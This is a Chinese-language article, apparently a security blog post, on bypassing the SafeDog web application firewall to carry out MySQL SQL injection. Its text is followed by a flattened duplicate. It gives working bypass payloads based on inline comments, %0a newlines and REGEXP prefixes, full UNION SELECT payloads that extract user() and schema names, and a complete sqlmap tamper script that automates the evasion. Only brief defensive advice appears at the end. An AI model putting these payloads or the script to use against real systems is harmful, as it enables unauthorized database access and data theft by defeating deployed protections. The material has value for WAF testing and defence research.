SQL注入bypass最新版安全狗
字数 1480 2025-08-24 23:51:25

SQL注入绕过最新版安全狗技术详解

0x00 前言

安全狗作为一款常见的WAF(Web应用防火墙)产品,近期进行了规则更新,增加了对SQL注入攻击的检测能力。本文详细分析最新版安全狗的防护规则,并提供有效的绕过技术。

0x01 绕过技术分析

1. AND 绕过

  • 安全狗对AND关键字的检测较弱,可以使用内联注释绕过
  • 示例:/*!11444AND*/

2. ORDER BY 绕过

  • 安全狗对ORDER BY组合有强规则检测
  • 绕过方法:
    • 使用换行符%0a分隔:order%0aby
    • 添加注释干扰:/*!11444order %0a by*/
    • 使用正则表达式前缀:REGEXP "[...%25%23]" /*!11444order %0a by*/

3. UNION SELECT 绕过

  • 安全狗检测UNION SELECT组合
  • 绕过方法:
    • 换行分隔:/*!11444union %0a select*/
    • 注释干扰:/*!11444union all%0a select*/
    • 正则表达式前缀:REGEXP "[...%0a%23]" /*!11444union %0a select*/

4. 函数调用绕过

  • 直接使用括号()会被拦截
  • 绕过方法:
    • 在括号内添加换行和注释:user(%0a /*!80000aaa*/)
    • 示例完整payload:-1' REGEXP "[...%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +

5. INFORMATION_SCHEMA 绕过

  • 安全狗检测INFORMATION_SCHEMA关键字
  • 绕过方法:
    • 添加换行和注释:/*like"%0a%23*/ %0a INFORMATION_SCHEMA
    • 完整示例:-1' REGEXP "[...%0a%23]" /*!11444union %0a select*/ 1,(select %0a group_concat(schema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[...%0a%23]"*/ %0a information_schema.schemata*/),3-- +

0x02 Tamper脚本实现

以下是完整的Python Tamper脚本,可用于自动化绕过安全狗:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace(" ","  ",1)
        payload=payload.replace("ORDER BY","REGEXP \"[...%25%23]\"   /*!11444order %0a by*/")
        payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/")
        payload=payload.replace(" AND","/*!11444AND*/")
        payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE")
        payload=payload.replace("UNION SELECT","/*!11444union*/  /*REGEXP \"[...%25%23]\"*/  %0a select /*REGEXP \"[...%25%23]\"*/")
        payload=payload.replace("UNION ALL SELECT","REGEXP \"[...%0a%23]\" /*!11444union %0a select */ ")
        payload=payload.replace("()","(%0a /*!80000aaa*/)")
        payload=payload.replace(" AS","/*!11444AS*/")
        payload=payload.replace("FROM","/*!11444FROM*/")
        payload=payload.replace("INFORMATION_SCHEMA","/*like\"%0a%23\"*/ %0a  INFORMATION_SCHEMA")
        payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/")
        return payload

0x03 技术要点总结

  1. 换行符利用%0a是绕过安全狗的关键,可以有效分隔被检测的关键字组合

  2. 内联注释:MySQL特有的/*!版本号*/语法可以插入有效注释而不影响SQL执行

  3. 正则表达式干扰REGEXP "[...%0a%23]"可以作为有效的前缀干扰WAF检测

  4. 函数调用变形:在函数括号内插入无害内容如/*!80000aaa*/可以绕过括号检测

  5. 关键字分隔:将常见组合如UNION SELECT分隔为UNIONSELECT两部分

0x04 注意事项

  1. 该技术主要针对MySQL数据库
  2. 不同版本的安全狗可能有不同的规则,需要根据实际情况调整
  3. 该脚本已开源在GitHub:https://github.com/pureqh/bypasswaf

0x05 防御建议

对于防御方,建议:

  1. 加强对换行符和注释的检测
  2. 实现更严格的语法分析而非简单的关键字匹配
  3. 监控INFORMATION_SCHEMA等敏感系统表的访问
  4. 对异常SQL语句进行日志记录和分析
SQL注入绕过最新版安全狗技术详解 0x00 前言 安全狗作为一款常见的WAF(Web应用防火墙)产品,近期进行了规则更新,增加了对SQL注入攻击的检测能力。本文详细分析最新版安全狗的防护规则,并提供有效的绕过技术。 0x01 绕过技术分析 1. AND 绕过 安全狗对 AND 关键字的检测较弱,可以使用内联注释绕过 示例: /*!11444AND*/ 2. ORDER BY 绕过 安全狗对 ORDER BY 组合有强规则检测 绕过方法: 使用换行符 %0a 分隔: order%0aby 添加注释干扰: /*!11444order %0a by*/ 使用正则表达式前缀: REGEXP "[...%25%23]" /*!11444order %0a by*/ 3. UNION SELECT 绕过 安全狗检测 UNION SELECT 组合 绕过方法: 换行分隔: /*!11444union %0a select*/ 注释干扰: /*!11444union all%0a select*/ 正则表达式前缀: REGEXP "[...%0a%23]" /*!11444union %0a select*/ 4. 函数调用绕过 直接使用括号 () 会被拦截 绕过方法: 在括号内添加换行和注释: user(%0a /*!80000aaa*/) 示例完整payload: -1' REGEXP "[...%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- + 5. INFORMATION_ SCHEMA 绕过 安全狗检测 INFORMATION_SCHEMA 关键字 绕过方法: 添加换行和注释: /*like"%0a%23*/ %0a INFORMATION_SCHEMA 完整示例: -1' REGEXP "[...%0a%23]" /*!11444union %0a select*/ 1,(select %0a group_concat(schema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[...%0a%23]"*/ %0a information_schema.schemata*/),3-- + 0x02 Tamper脚本实现 以下是完整的Python Tamper脚本,可用于自动化绕过安全狗: 0x03 技术要点总结 换行符利用 : %0a 是绕过安全狗的关键,可以有效分隔被检测的关键字组合 内联注释 :MySQL特有的 /*!版本号*/ 语法可以插入有效注释而不影响SQL执行 正则表达式干扰 : REGEXP "[...%0a%23]" 可以作为有效的前缀干扰WAF检测 函数调用变形 :在函数括号内插入无害内容如 /*!80000aaa*/ 可以绕过括号检测 关键字分隔 :将常见组合如 UNION SELECT 分隔为 UNION 和 SELECT 两部分 0x04 注意事项 该技术主要针对MySQL数据库 不同版本的安全狗可能有不同的规则,需要根据实际情况调整 该脚本已开源在GitHub:https://github.com/pureqh/bypasswaf 0x05 防御建议 对于防御方,建议: 加强对换行符和注释的检测 实现更严格的语法分析而非简单的关键字匹配 监控 INFORMATION_SCHEMA 等敏感系统表的访问 对异常SQL语句进行日志记录和分析